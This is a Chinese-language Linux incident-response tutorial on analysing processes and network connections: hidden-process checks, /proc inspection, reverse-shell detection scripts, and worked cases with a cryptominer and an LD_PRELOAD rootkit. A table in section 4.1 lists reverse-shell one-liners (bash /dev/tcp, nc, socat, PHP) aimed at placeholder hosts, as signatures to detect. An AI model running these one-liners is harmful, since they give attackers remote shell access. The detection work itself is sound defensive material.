1. 1. 05-进程与网络分析 (Process & Network Analysis)
    1. 1.1. 1. 进程排查方法论
      1. 1.1.1. 1.1 排查思路总览
      2. 1.1.2. 1.2 什么算”异常”进程
      3. 1.1.3. 1.3 基础排查命令
    2. 1.2. 2. 隐藏进程检测
      1. 1.2.1. 2.1 方法1:对比 ps 与 /proc 目录
      2. 1.2.2. 2.2 方法2:unhide 工具
      3. 1.2.3. 2.3 方法3:进程名与 cmdline 对比
      4. 1.2.4. 2.4 伪装内核线程的识别
    3. 1.3. 3. /proc/[pid]/ 深度分析
      1. 1.3.1. 3.1 /proc/PID 关键文件一览
      2. 1.3.2. 3.2 exe — 确定真实可执行文件
      3. 1.3.3. 3.3 cmdline — 启动参数
      4. 1.3.4. 3.4 fd/ — 文件描述符分析
      5. 1.3.5. 3.5 environ — 环境变量检查
      6. 1.3.6. 3.6 maps — 内存映射分析
      7. 1.3.7. 3.7 status — 进程状态信息
    4. 1.4. 4. 反弹 Shell 检测(重点)
      1. 1.4.1. 4.1 常见反弹 Shell 类型与进程特征
      2. 1.4.2. 4.2 检测方法1:网络连接排查
      3. 1.4.3. 4.3 检测方法2:进程文件描述符排查
      4. 1.4.4. 4.4 检测方法3:/proc/net/tcp 直接读取
      5. 1.4.5. 4.5 综合反弹 Shell 检测脚本
    5. 1.5. 5. 网络连接深度分析
      1. 1.5.1. 5.1 ss 命令详解
      2. 1.5.2. 5.2 ESTABLISHED 连接排查
      3. 1.5.3. 5.3 LISTEN 端口排查
      4. 1.5.4. 5.4 lsof 网络分析
      5. 1.5.5. 5.5 按进程聚合网络连接
      6. 1.5.6. 5.6 GeoIP 查询可疑 IP
    6. 1.6. 6. 进程链追踪
      1. 1.6.1. 6.1 从异常进程向上追踪
      2. 1.6.2. 6.2 完整攻击链还原示例
      3. 1.6.3. 6.3 结合日志确认入侵路径
    7. 1.7. 7. 实战案例
      1. 1.7.1. 7.1 案例1:发现隐藏的挖矿进程
      2. 1.7.2. 7.2 案例2:发现反弹 Shell
      3. 1.7.3. 7.3 案例3:发现删除了文件但仍在运行的恶意程序
      4. 1.7.4. 7.4 一键进程与网络排查脚本
      5. 1.7.5. 7.5 排查技巧总结

Linux应急响应 - 05 进程与网络分析

05-进程与网络分析 (Process & Network Analysis)

进程和网络是攻击者活动的”现场”——恶意代码必须以进程形式运行,远控和数据窃取必须通过网络通信。掌握进程与网络的深度分析技术,是应急响应中最核心的能力之一。

关联章节02-排查命令速查 | 27-反弹Shell技术与检测 | 14.5-挖矿病毒应急


1. 进程排查方法论

1.1 排查思路总览

1
2
3
4
5
异常特征发现 → 定位可疑进程 → 深度分析进程 → 溯源入侵路径
↓ ↓ ↓ ↓
CPU/内存飙升 ps/top定位 /proc分析 进程链追踪
异常网络连接 ss/netstat 文件关联 日志关联
告警触发 lsof 内存分析 时间线重建

1.2 什么算”异常”进程

异常特征 说明 检测方法
CPU/内存异常 持续高 CPU(挖矿)或高内存 top, htop
进程名伪装 名字像内核线程但实际是用户进程 对比 /proc/PID/status
父进程异常 PPID 为 1 但不是系统服务 ps -ef 查看进程树
无对应文件 exe 链接指向 (deleted) ls -la /proc/PID/exe
异常网络连接 外连到未知 IP 或非常规端口 ss -antlp, lsof -i
启动时间异常 在入侵时间点前后启动 ps -eo pid,lstart,cmd
隐藏行为 ps 看不到但 /proc 中存在 手动枚举 /proc
异常用户运行 www-data 运行 bash/python ps -eo user,pid,cmd

1.3 基础排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查看所有进程(完整命令行)
ps auxww

# 以树形结构显示进程关系
ps -ef --forest
# 或
pstree -ap

# 按 CPU 使用率排序
ps aux --sort=-%cpu | head -20

# 按内存使用率排序
ps aux --sort=-%mem | head -20

# 显示进程启动时间
ps -eo pid,lstart,user,cmd | head -20

# 查看特定用户的进程
ps -u www-data -f

# 实时监控(top 按 CPU 排序,按 P 键切换)
top -bn1 | head -30

2. 隐藏进程检测

2.1 方法1:对比 ps 与 /proc 目录

原理ps 命令从 /proc 读取信息,如果攻击者替换了 ps 或使用 rootkit 隐藏进程,ps 的输出可能不完整,但直接读取 /proc 可以绕过部分隐藏手段

手动检测

1
2
3
4
5
6
7
8
9
10
11
# 从 ps 获取进程列表
ps -eo pid --no-headers | sort -n > /tmp/ps_pids.txt

# 从 /proc 获取进程列表
ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n > /tmp/proc_pids.txt

# 对比差异(在 /proc 中存在但 ps 看不到的 = 隐藏进程)
diff /tmp/ps_pids.txt /tmp/proc_pids.txt

# 如果发现差异,进一步分析隐藏进程
# diff 输出 ">" 开头的行是隐藏进程的 PID

一键检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
echo "=== 隐藏进程检测 ==="
ps_pids=$(ps -eo pid --no-headers | tr -d ' ' | sort -n)
proc_pids=$(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}' | sort -n)

hidden=$(comm -13 <(echo "$ps_pids") <(echo "$proc_pids"))

if [ -n "$hidden" ]; then
echo "发现隐藏进程!"
for pid in $hidden; do
echo "PID: $pid"
echo " 进程名: $(cat /proc/$pid/comm 2>/dev/null)"
echo " 命令行: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
echo " 可执行文件: $(readlink /proc/$pid/exe 2>/dev/null)"
echo " 运行用户: $(stat -c %U /proc/$pid 2>/dev/null)"
echo ""
done
else
echo "未发现隐藏进程"
fi

# 清理
rm -f /tmp/ps_pids.txt /tmp/proc_pids.txt

2.2 方法2:unhide 工具

安装

1
2
3
4
5
# Ubuntu/Debian
apt install unhide

# CentOS/RHEL
yum install unhide

使用方法

1
2
3
4
5
6
7
8
9
10
# 检测隐藏进程(使用多种技术)
unhide proc
unhide sys
unhide brute # 暴力枚举(较慢但全面)

# 一次运行所有检测
unhide quick

# 检测隐藏端口
unhide-tcp

2.3 方法3:进程名与 cmdline 对比

原理:攻击者可以通过修改 argv[0] 来伪装进程名,但 /proc/PID/status 中的 Name 字段和 /proc/PID/exe 指向的真实可执行文件无法轻易伪造(除非使用 rootkit)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 对比进程名和实际可执行文件
for pid in /proc/[0-9]*/; do
pid_num=$(basename $pid)
proc_name=$(cat ${pid}comm 2>/dev/null)
exe_path=$(readlink ${pid}exe 2>/dev/null)
cmdline=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')

# 如果进程名看起来像内核线程但有实际的 exe 路径
if [[ "$proc_name" =~ ^\[.*\]$ ]] || [[ "$cmdline" =~ ^\[.*\]$ ]]; then
if [ -n "$exe_path" ] && ! "$exe_path" =~ "No such file" ; then
echo "可疑进程 PID:$pid_num 名称:$proc_name exe:$exe_path cmdline:$cmdline"
fi
fi
done 2>/dev/null

2.4 伪装内核线程的识别

内核线程特征

名称被 [] 包裹,如 [kworker/0:2][migration/0]

PPID 通常为 2([kthreadd]

/proc/PID/exe 不可读(返回 Permission denied 或无效链接)

/proc/PID/cmdline 为空

恶意进程伪装特征

名称用 [] 包裹但 PPID 不是 2

/proc/PID/exe 指向实际的可执行文件

/proc/PID/cmdline 非空

1
2
3
4
5
6
7
8
9
# 检测伪装内核线程
ps -eo pid,ppid,comm | while read pid ppid comm; do
if [[ "$comm" =~ ^\[.*\]$ ]] && [ "$ppid" != "2" ] && [ "$pid" != "2" ]; then
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$exe" ]; then
echo "伪装内核线程! PID:$pid PPID:$ppid 名称:$comm 实际程序:$exe"
fi
fi
done

3. /proc/[pid]/ 深度分析

3.1 /proc/PID 关键文件一览

文件 说明 排查用途
exe 符号链接 → 可执行文件 确定真实程序路径
cmdline 启动命令行参数 查看完整启动命令
comm 进程名(最多 16 字符) 快速识别进程
cwd 符号链接 → 工作目录 确定进程运行目录
environ 环境变量 检查 LD_PRELOAD 等
fd/ 文件描述符目录 查看打开的文件和 socket
maps 内存映射 检查加载的 .so 库
status 进程状态信息 UID/GID/PPID 等
net/tcp 网络连接 绕过被替换的 ss/netstat
loginuid 登录 UID(审计用) 追踪原始登录用户
stack 内核态调用栈 判断进程行为

3.2 exe — 确定真实可执行文件

1
2
3
4
5
6
# 查看进程的真实可执行文件
ls -la /proc/PID/exe

# 示例输出:
# lrwxrwxrwx 1 root root 0 Mar 28 /proc/1234/exe -> /usr/bin/python3
# lrwxrwxrwx 1 root root 0 Mar 28 /proc/5678/exe -> /tmp/.hidden/miner (deleted)

关键标记(deleted) 表示可执行文件已被删除,但进程仍在运行。这是恶意软件常见的反取证手段——运行后立即删除自身

从 /proc 恢复已删除的恶意文件

1
2
3
4
5
6
7
8
9
10
# 即使文件已删除,只要进程还在运行,就可以从 /proc 恢复
cp /proc/PID/exe /tmp/recovered_malware

# 验证恢复的文件
file /tmp/recovered_malware
md5sum /tmp/recovered_malware

# 提交到 VirusTotal 检测
sha256sum /tmp/recovered_malware
# 将哈希值提交到 https://www.virustotal.com/

3.3 cmdline — 启动参数

1
2
3
4
5
6
7
8
9
# 查看进程的完整命令行(参数以 \0 分隔)
cat /proc/PID/cmdline | tr '\0' ' '
echo ""

# 或使用 strings
strings /proc/PID/cmdline

# 对比:有些恶意进程会修改 cmdline 来伪装
# 真实的程序路径看 exe,不要只信 cmdline

3.4 fd/ — 文件描述符分析

1
2
3
4
5
6
7
8
9
# 列出进程打开的所有文件描述符
ls -la /proc/PID/fd/

# 输出示例:
# lrwx------ 1 root root 64 Mar 28 /proc/1234/fd/0 -> /dev/null
# lrwx------ 1 root root 64 Mar 28 /proc/1234/fd/1 -> /dev/null
# lrwx------ 1 root root 64 Mar 28 /proc/1234/fd/2 -> /dev/null
# lrwx------ 1 root root 64 Mar 28 /proc/1234/fd/3 -> socket:[12345]
# lr-x------ 1 root root 64 Mar 28 /proc/1234/fd/4 -> /etc/passwd

socket 关联

1
2
3
4
5
6
7
8
9
10
# fd 中看到 socket:[inode] 时,可以关联到具体的网络连接
# 获取 socket inode
ls -la /proc/PID/fd/ | grep socket
# socket:[12345]

# 在 /proc/net/tcp 中查找这个 inode
cat /proc/net/tcp | awk '$10==12345'

# 或者直接用 ss 查看该进程的网络连接
ss -antlp | grep "pid=PID"

3.5 environ — 环境变量检查

1
2
3
4
5
6
7
8
9
10
11
12
# 查看进程的环境变量
cat /proc/PID/environ | tr '\0' '\n'

# 重点检查:
# LD_PRELOAD - 是否加载了恶意共享库
cat /proc/PID/environ | tr '\0' '\n' | grep "LD_PRELOAD"

# LD_LIBRARY_PATH - 是否修改了库搜索路径
cat /proc/PID/environ | tr '\0' '\n' | grep "LD_LIBRARY_PATH"

# PATH - 是否被修改以优先执行恶意程序
cat /proc/PID/environ | tr '\0' '\n' | grep "^PATH="

LD_PRELOAD 劫持是一种常见的后门技术,详细检测见后续章节

3.6 maps — 内存映射分析

1
2
3
4
5
6
7
8
9
# 查看进程加载的所有共享库和内存映射
cat /proc/PID/maps

# 只看加载的 .so 文件
cat /proc/PID/maps | grep '\.so' | awk '{print $6}' | sort -u

# 检查是否加载了异常的 .so 文件
# 正常的 .so 应该在 /lib, /usr/lib 等标准路径
cat /proc/PID/maps | grep '\.so' | grep -v "/lib\|/usr/lib" | awk '{print $6}' | sort -u

异常 .so 示例

1
2
3
/tmp/.hidden/evil.so        <- 临时目录中的 .so
/dev/shm/.cache/hook.so <- 共享内存中的 .so
/var/tmp/.update/lib.so <- 隐藏目录中的 .so

3.7 status — 进程状态信息

1
2
3
4
5
6
7
8
9
cat /proc/PID/status

# 关键字段:
# Name: 进程名
# Pid: 进程ID
# PPid: 父进程ID
# Uid: Real/Effective/Saved/FS UID
# Gid: Real/Effective/Saved/FS GID
# Threads: 线程数

排查要点

Uid 的 Real 和 Effective 不一致 → 可能是 SUID 程序

PPid 为 1 但不是系统服务 → 孤儿进程(父进程已退出)

Threads 数量异常多 → 可能是挖矿程序

4. 反弹 Shell 检测(重点)

4.1 常见反弹 Shell 类型与进程特征

类型 命令示例 进程特征
Bash TCP bash -i >& /dev/tcp/IP/PORT 0>&1 bash 进程,fd 中有 socket
Netcat nc -e /bin/bash IP PORT nc 进程 + bash 子进程
Netcat 无 -e rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f cat + sh + nc 进程链
Python python -c 'import socket,subprocess,os;...' python 进程,fd 中有 socket
Perl perl -e 'use Socket;...' perl 进程
PHP php -r '$sock=fsockopen("IP",PORT);...' php 进程
Ruby ruby -rsocket -e '...' ruby 进程
Socat socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT socat + bash 进程
OpenSSL openssl s_client -connect IP:PORT openssl 进程(加密通信)

4.2 检测方法1:网络连接排查

1
2
3
4
5
6
7
8
9
10
11
# 查看所有已建立的外连 TCP 连接
ss -antlp | grep ESTAB

# 使用 lsof 查看网络连接(更详细)
lsof -i -nP | grep ESTABLISHED

# 按进程聚合外连连接
ss -antlp state established | awk 'NR>1 {print $5, $6}' | sort | uniq -c | sort -rn

# 查找连接到非标准端口的进程
ss -antlp state established | awk '{print $5}' | grep -v ":80$\|:443$\|:22$\|:53$\|:3306$" | sort -u

关键排查逻辑

外连到高端口(4444, 6666, 8888, 9999 等常用 C2 端口)

外连到非业务相关的 IP

由不应该有网络连接的进程发起(如 vim, find)

4.3 检测方法2:进程文件描述符排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 核心原理:反弹 shell 的进程会有 socket 类型的文件描述符
# 且 stdin(0)/stdout(1)/stderr(2) 会被重定向到 socket

# 检查所有 bash/sh 进程的文件描述符
for pid in $(pgrep -x "bash\|sh\|dash"); do
fds=$(ls -la /proc/$pid/fd/ 2>/dev/null | grep socket)
if [ -n "$fds" ]; then
echo "=== 可疑!PID:$pid 的 bash/sh 进程有 socket 连接 ==="
echo "进程信息: $(ps -p $pid -o pid,ppid,user,cmd --no-headers)"
echo "文件描述符:"
ls -la /proc/$pid/fd/ 2>/dev/null
echo "网络连接:"
ss -antlp | grep "pid=$pid"
echo ""
fi
done

反弹 shell 的典型 fd 特征

1
2
3
4
5
6
7
8
9
# 正常 bash 的 fd(终端):
0 -> /dev/pts/0 (stdin -> 终端)
1 -> /dev/pts/0 (stdout -> 终端)
2 -> /dev/pts/0 (stderr -> 终端)

# 反弹 shell 的 fd(socket):
0 -> socket:[12345] (stdin -> 网络)
1 -> socket:[12345] (stdout -> 网络)
2 -> socket:[12345] (stderr -> 网络)

4.4 检测方法3:/proc/net/tcp 直接读取

当 ss/netstat 等工具被替换时的备选方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# /proc/net/tcp 格式:
# sl local_address rem_address st tx_queue rx_queue ...
# 地址格式为十六进制,需要转换

# 一键解析 /proc/net/tcp
awk '{
if(NR>1) {
split($2, local, ":");
split($3, remote, ":");
# 转换十六进制 IP
lip = sprintf("%d.%d.%d.%d",
strtonum("0x"substr(local[1],7,2)),
strtonum("0x"substr(local[1],5,2)),
strtonum("0x"substr(local[1],3,2)),
strtonum("0x"substr(local[1],1,2)));
lport = strtonum("0x"local[2]);
rip = sprintf("%d.%d.%d.%d",
strtonum("0x"substr(remote[1],7,2)),
strtonum("0x"substr(remote[1],5,2)),
strtonum("0x"substr(remote[1],3,2)),
strtonum("0x"substr(remote[1],1,2)));
rport = strtonum("0x"remote[2]);
state = $4;
inode = $10;
# state 01=ESTABLISHED
if(state=="01") printf "ESTAB %s:%d -> %s:%d (inode:%s)\n", lip, lport, rip, rport, inode
}
}' /proc/net/tcp

4.5 综合反弹 Shell 检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
echo "=== 反弹 Shell 检测 ==="

echo -e "\n[1] 检查 bash/sh 进程的 socket 文件描述符:"
found=0
for pid in $(pgrep -x "bash\|sh\|dash\|zsh" 2>/dev/null); do
# 检查 fd 0,1,2 是否指向 socket
for fd in 0 1 2; do
target=$(readlink /proc/$pid/fd/$fd 2>/dev/null)
if "$target" == socket:* ; then
echo " [!] PID:$pid fd:$fd -> $target"
echo " 进程: $(ps -p $pid -o user,cmd --no-headers 2>/dev/null)"
found=1
break
fi
done
done
[ $found -eq 0 ] && echo " 未发现"

echo -e "\n[2] 检查异常的 ESTABLISHED 连接:"
ss -antlp state established 2>/dev/null | grep -v ":80 \|:443 \|:22 \|:53 \|:3306 " | tail -20

echo -e "\n[3] 检查 /dev/tcp 使用痕迹(bash 内置):"
# 在进程的 cmdline 和 fd 中查找
for pid in /proc/[0-9]*/; do
cmdline=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
if echo "$cmdline" | grep -q "/dev/tcp\|/dev/udp"; then
echo " [!] PID:$(basename $pid) 使用了 /dev/tcp: $cmdline"
fi
done

echo -e "\n[4] 检查 python/perl/ruby/php 的 socket 连接:"
for proc in python python3 perl ruby php; do
for pid in $(pgrep $proc 2>/dev/null); do
sockets=$(ls -la /proc/$pid/fd/ 2>/dev/null | grep -c socket)
if [ "$sockets" -gt 0 ]; then
echo " [!] $proc PID:$pid$sockets 个 socket 连接"
echo " 命令: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
fi
done
done

echo -e "\n[5] 检查 nc/ncat/socat 进程:"
for proc in nc ncat socat; do
pids=$(pgrep $proc 2>/dev/null)
if [ -n "$pids" ]; then
for pid in $pids; do
echo " [!] $proc PID:$pid"
echo " 命令: $(ps -p $pid -o cmd --no-headers 2>/dev/null)"
done
fi
done

echo -e "\n=== 检测完成 ==="

5. 网络连接深度分析

5.1 ss 命令详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ss 是 netstat 的现代替代,速度更快

# 查看所有 TCP 连接
ss -ant

# 查看所有 TCP 连接及对应进程(需要 root)
ss -antlp

# 只看 ESTABLISHED 状态
ss -ant state established

# 只看 LISTEN 状态
ss -ant state listening

# 查看 UDP 连接
ss -anup

# 查看 Unix socket
ss -x

# 按目标端口过滤
ss -ant dst :4444
ss -ant dst :6666

# 按来源端口过滤
ss -ant src :80

ss 输出字段解读

1
2
3
State    Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
ESTAB 0 0 192.168.1.10:22 10.0.0.5:48232 users:(("sshd",pid=1234,fd=3))
LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=567,fd=6))

5.2 ESTABLISHED 连接排查

1
2
3
4
5
6
7
8
9
10
11
12
# 重点关注外连连接(服务器主动连向外部)
# 排除常见的合法连接
ss -antlp state established | awk '
NR>1 {
split($5, remote, ":");
port = remote[length(remote)];
# 排除常见合法端口
if (port != 80 && port != 443 && port != 53 && port != 22 &&
port != 3306 && port != 6379 && port != 25 && port != 123) {
print $0
}
}'

C2 通信常用端口(需要特别关注):

端口 常见用途
4444 Metasploit 默认
5555 各类 RAT
6666 各类后门
8080 HTTP 代理/C2
8443 HTTPS C2
8888 各类工具
9999 各类后门
1080 SOCKS 代理
3389 转发的 RDP
31337 “elite” 端口

5.3 LISTEN 端口排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看所有监听端口
ss -antlp state listening

# 按端口排序
ss -antlp state listening | sort -t: -k2 -n

# 检查异常监听:对比已知服务端口
# 预期端口列表(根据实际业务调整)
EXPECTED_PORTS="22 80 443 3306"

ss -antlp state listening | awk 'NR>1 {
split($4, addr, ":");
port = addr[length(addr)];
print port, $6
}' | sort -un | while read port proc; do
echo "$EXPECTED_PORTS" | grep -qw "$port" || echo "非预期监听端口: $port ($proc)"
done

5.4 lsof 网络分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看所有网络文件
lsof -i -nP

# 只看 TCP
lsof -i tcp -nP

# 只看特定端口
lsof -i :4444 -nP

# 查看特定进程的网络连接
lsof -p PID -i -nP

# 查看特定用户的网络连接
lsof -u www-data -i -nP

# 组合:查看所有 ESTABLISHED 的 TCP 连接
lsof -i tcp -nP | grep ESTABLISHED

5.5 按进程聚合网络连接

1
2
3
4
5
6
7
8
9
10
11
12
# 聚合分析:每个进程有多少个网络连接
ss -antlp | awk '
NR>1 {
match($0, /users:\(\("([^"]+)",pid=([0-9]+)/, arr);
if(arr[1] != "") {
proc = arr[1] "(" arr[2] ")";
conns[proc]++;
}
}
END {
for(p in conns) printf "%5d %s\n", conns[p], p
}' | sort -rn

异常模式

单个进程大量外连(可能是扫描或 DDoS)

不应有网络连接的进程出现了连接

大量到同一目标 IP 的连接

5.6 GeoIP 查询可疑 IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用在线服务查询
# 方法1:curl 查询
curl -s "http://ip-api.com/json/45.xx.xx.xx" | python3 -m json.tool

# 方法2:使用 whois
whois 45.xx.xx.xx | grep -E "OrgName|Country|NetRange|CIDR"

# 方法3:批量查询脚本
ss -ant state established | awk 'NR>1 {split($5,a,":"); print a[1]}' | sort -u | while read ip; do
# 排除内网 IP
echo "$ip" | grep -qE "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)" && continue
info=$(curl -s "http://ip-api.com/json/$ip?fields=country,org" 2>/dev/null)
echo "$ip -> $info"
sleep 1 # 避免被限流
done

6. 进程链追踪

6.1 从异常进程向上追踪

原理:每个进程都有父进程(PPID),通过不断追踪 PPID 可以还原完整的攻击链,直到找到初始入侵入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查看进程树
pstree -ap PID

# 手动追踪进程链
trace_pid() {
local pid=$1
while [ "$pid" != "0" ] && [ "$pid" != "1" ]; do
info=$(ps -p $pid -o pid,ppid,user,lstart,cmd --no-headers 2>/dev/null)
if [ -z "$info" ]; then
echo "PID $pid 已不存在"
break
fi
echo "$info"
pid=$(echo "$info" | awk '{print $2}')
done
}

# 使用:trace_pid 异常进程的PID
trace_pid 12345

6.2 完整攻击链还原示例

场景:发现一个可疑的外连进程 PID 9876

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Step 1: 查看该进程
ps -p 9876 -o pid,ppid,user,cmd
# 9876 9870 www-data python3 -c import socket...

# Step 2: 追踪父进程
ps -p 9870 -o pid,ppid,user,cmd
# 9870 9860 www-data /bin/bash

# Step 3: 继续向上
ps -p 9860 -o pid,ppid,user,cmd
# 9860 9850 www-data php-fpm: pool www

# Step 4: 继续
ps -p 9850 -o pid,ppid,user,cmd
# 9850 1200 root php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)

攻击链还原

1
2
3
4
5
php-fpm master (root, PID 1200)
└── php-fpm worker (www-data, PID 9850)
└── /bin/bash (www-data, PID 9860) ← WebShell 执行命令
└── python3 反弹shell (www-data, PID 9870)
└── python3 socket (www-data, PID 9876) ← 外连 C2

结论:攻击者通过 Web 应用漏洞(PHP)获取了 webshell,然后通过 webshell 执行了 Python 反弹 shell

6.3 结合日志确认入侵路径

1
2
3
4
5
6
7
8
9
10
11
12
13
# 通过进程启动时间缩小日志范围
ps -p 9876 -o lstart --no-headers
# Thu Mar 28 03:15:00 2026

# 查看该时间段的 Web 访问日志
grep "28/Mar/2026:03:1[0-5]" /var/log/nginx/access.log
grep "28/Mar/2026:03:1[0-5]" /var/log/apache2/access.log

# 查看该时间段的系统日志
grep "Mar 28 03:1[0-5]" /var/log/syslog

# 查看该时间段的认证日志
grep "Mar 28 03:1[0-5]" /var/log/auth.log

7. 实战案例

7.1 案例1:发现隐藏的挖矿进程

场景:服务器 CPU 持续 100%,但 top 命令看不到高 CPU 进程

Step 1:确认 CPU 异常

1
2
3
4
5
6
uptime
# load average: 8.00, 7.95, 7.90 (8核服务器全部满载)

top -bn1 | head -5
# CPU: 99.8% us, 0.1% sy, 0.0% ni, 0.1% id
# 但进程列表中没有高 CPU 进程 → 进程被隐藏了

Step 2:检查 ps 是否被替换

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查 ps 命令的完整性
which ps
# /usr/bin/ps

# Ubuntu/Debian
debsums -c 2>/dev/null | grep "/usr/bin/ps"

# CentOS/RHEL
rpm -Vf /usr/bin/ps

# 手动校验 hash
sha256sum /usr/bin/ps
# 与已知 good hash 对比

Step 3:对比 ps 和 /proc

1
2
3
4
5
6
# 发现隐藏进程
ps_count=$(ps -eo pid --no-headers | wc -l)
proc_count=$(ls -d /proc/[0-9]* | wc -l)
echo "ps 报告: $ps_count 个进程, /proc 中: $proc_count 个进程"
# ps 报告: 120 个进程, /proc 中: 123 个进程
# 差了 3 个!

Step 4:找出隐藏进程

1
2
3
4
5
6
7
# 对比找出差异
comm -13 <(ps -eo pid --no-headers | tr -d ' ' | sort -n) \
<(ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n)
# 输出:
# 31337
# 31338
# 31339

Step 5:分析隐藏进程

1
2
3
4
5
6
7
8
9
10
11
12
# 查看进程信息
cat /proc/31337/comm
# [kworker/0:2] ← 伪装成内核线程!

readlink /proc/31337/exe
# /tmp/.cache/.xmrig (deleted) ← 挖矿程序,已删除文件

cat /proc/31337/cmdline | tr '\0' ' '
# /tmp/.cache/.xmrig -o pool.minexmr.com:443 -u wallet_address -p x

# 恢复恶意文件
cp /proc/31337/exe /tmp/evidence/xmrig_sample

Step 6:查找 rootkit

1
2
3
4
5
6
7
8
# 为什么 ps 看不到?很可能安装了 rootkit
# 检查 LD_PRELOAD
echo $LD_PRELOAD
cat /etc/ld.so.preload
# /usr/local/lib/.libprocesshider.so ← 找到 rootkit!

# 这是一个 LD_PRELOAD 类型的进程隐藏 rootkit
# 它 hook 了 readdir() 函数,过滤特定进程

7.2 案例2:发现反弹 Shell

场景:IDS 告警发现服务器有异常外连

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Step 1: 查看外连连接
ss -antlp state established | grep -v ":80 \|:443 \|:22 "
# ESTAB 0 0 192.168.1.10:45678 45.33.xx.xx:4444 users:(("bash",pid=2345,fd=3))

# Step 2: bash 直接有 socket 连接,高度可疑!
ls -la /proc/2345/fd/
# 0 -> socket:[67890] ← stdin 被重定向到 socket
# 1 -> socket:[67890] ← stdout 被重定向到 socket
# 2 -> socket:[67890] ← stderr 被重定向到 socket
# 确认是反弹 shell

# Step 3: 追踪进程链
pstree -ap 2345
# bash,2345
# └── cat,2350 /etc/passwd ← 攻击者正在查看密码文件

ps -p 2345 -o pid,ppid,user,lstart,cmd
# 2345 2340 www-data Thu Mar 28 03:10:00 bash -i

ps -p 2340 -o pid,ppid,user,lstart,cmd
# 2340 2330 www-data Thu Mar 28 03:09:55 python3 -c ...

# Step 4: 确认入侵路径 → 通过 WebShell 调用 python 反弹 shell

7.3 案例3:发现删除了文件但仍在运行的恶意程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查找所有 exe 指向 (deleted) 的进程
ls -la /proc/*/exe 2>/dev/null | grep "(deleted)"

# 输出:
# /proc/5678/exe -> /var/tmp/.update/agent (deleted)
# /proc/5679/exe -> /dev/shm/.cache/worker (deleted)

# 分析这些进程
for pid in 5678 5679; do
echo "=== PID: $pid ==="
echo "用户: $(stat -c %U /proc/$pid 2>/dev/null)"
echo "命令: $(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
echo "网络:"
ss -antlp | grep "pid=$pid"
echo "恢复文件:"
cp /proc/$pid/exe /tmp/evidence/malware_$pid 2>/dev/null && echo " 已保存到 /tmp/evidence/malware_$pid"
echo ""
done

7.4 一键进程与网络排查脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash
# 进程与网络安全排查脚本
# 使用方法: sudo bash process_network_audit.sh

echo "=========================================="
echo " 进程与网络安全排查"
echo " 执行时间: $(date)"
echo "=========================================="

echo -e "\n[1] CPU/内存 TOP10 进程:"
ps aux --sort=-%cpu | head -11

echo -e "\n[2] 隐藏进程检测:"
ps_pids=$(ps -eo pid --no-headers | tr -d ' ' | sort -n)
proc_pids=$(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}' | sort -n)
hidden=$(comm -13 <(echo "$ps_pids") <(echo "$proc_pids"))
if [ -n "$hidden" ]; then
echo " [!] 发现隐藏进程: $hidden"
for pid in $hidden; do
echo " PID:$pid comm:$(cat /proc/$pid/comm 2>/dev/null) exe:$(readlink /proc/$pid/exe 2>/dev/null)"
done
else
echo " 未发现隐藏进程"
fi

echo -e "\n[3] 伪装内核线程检测:"
ps -eo pid,ppid,comm --no-headers | while read pid ppid comm; do
if [[ "$comm" =~ ^\[.*\]$ ]] && [ "$ppid" != "2" ] && [ "$pid" != "2" ] && [ -n "$pid" ]; then
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$exe" ]; then
echo " [!] 伪装内核线程 PID:$pid PPID:$ppid 名:$comm exe:$exe"
fi
fi
done

echo -e "\n[4] 已删除但仍运行的进程:"
ls -la /proc/*/exe 2>/dev/null | grep "(deleted)" | while read line; do
pid=$(echo "$line" | grep -oP '/proc/\K[0-9]+')
exe=$(echo "$line" | awk -F'-> ' '{print $2}')
echo " [!] PID:$pid -> $exe"
done

echo -e "\n[5] 反弹 Shell 检测(bash/sh 有 socket fd):"
